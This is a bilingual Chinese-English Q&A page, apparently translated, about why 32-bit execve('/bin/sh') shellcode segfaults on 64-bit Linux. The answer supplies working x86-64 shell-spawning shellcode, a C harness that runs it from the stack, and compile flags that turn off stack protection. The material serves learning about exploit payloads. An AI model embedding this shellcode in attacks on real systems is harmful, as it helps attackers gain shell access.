shellcode缓冲区溢出-SegFault [英] shellcode buffer overflow -SegFault

问题描述

我正在尝试运行此shellcode，但是我一直遇到分段错误

I'm trying to run this shellcode but I keep getting segmentation fault

/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
   "\x31\xc0" /* Line 1: xorl %eax,%eax */
   "\x50" /* Line 2: pushl %eax */
   "\x68""//sh" /* Line 3: pushl $0x68732f2f */
   "\x68""/bin" /* Line 4: pushl $0x6e69622f */
   "\x89\xe3" /* Line 5: movl %esp,%ebx */
   "\x50" /* Line 6: pushl %eax */
   "\x53" /* Line 7: pushl %ebx */
   "\x89\xe1" /* Line 8: movl %esp,%ecx */
   "\x99" /* Line 9: cdq */
   "\xb0\x0b" /* Line 10: movb $0x0b,%al */
   "\xcd\x80" /* Line 11: int $0x80 */
   ;
int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}

我使用以下命令进行编译:

I compile it using:

 gcc -z execstack -o call_shellcode call_shellcode.c

和

 gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c

但是我不断遇到细分错误

But I keep getting segmentation fault

此外，我正在运行64位Linux系统(ubuntu)

Also, I'm running a 64 bit Linux system (ubuntu)

推荐答案

您正在x86-64系统上使用32位汇编代码.因此，这是您的问题，您必须为x86-64系统创建shellcode.

You are using a 32 bit assembly code on a x86-64 system. So, It is your problem, you have to create your shellcode for x86-64 systems.

例如

  400078:   48 31 c0                xor    rax,rax
  40007b:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  400082:   2f 73 68 
  400085:   48 31 f6                xor    rsi,rsi
  400088:   56                      push   rsi
  400089:   57                      push   rdi
  40008a:   48 89 e7                mov    rdi,rsp
  40008d:   48 31 d2                xor    rdx,rdx
  400090:   b0 3b                   mov    al,0x3b
  400092:   0f 05                   syscall 

32位汇编的主要区别之一是如何使用 syscalls .在此链接 Linux Syscalls x86-64 中，您可以看到需要使用哪些寄存器来调用 sys_execve

One of the main differences with 32 bits assembly, is how to use the syscalls. In this link Linux Syscalls x86-64 you can see what registers you need to call the sys_execve

int execve(const char * filename，char * const argv []，char * const envp []);

int execve(const char *filename, char *const argv[], char *const envp[]);

• const char *文件名-> rdi
• char * const argv []-> rsi
• char * const envp []-> rdx

例如

  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>

  const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
  int main(int argc, char **argv)
  {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
  }

编译并对其进行测试.

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode 
$ uname -a
 Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

这篇关于shellcode缓冲区溢出-SegFault的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！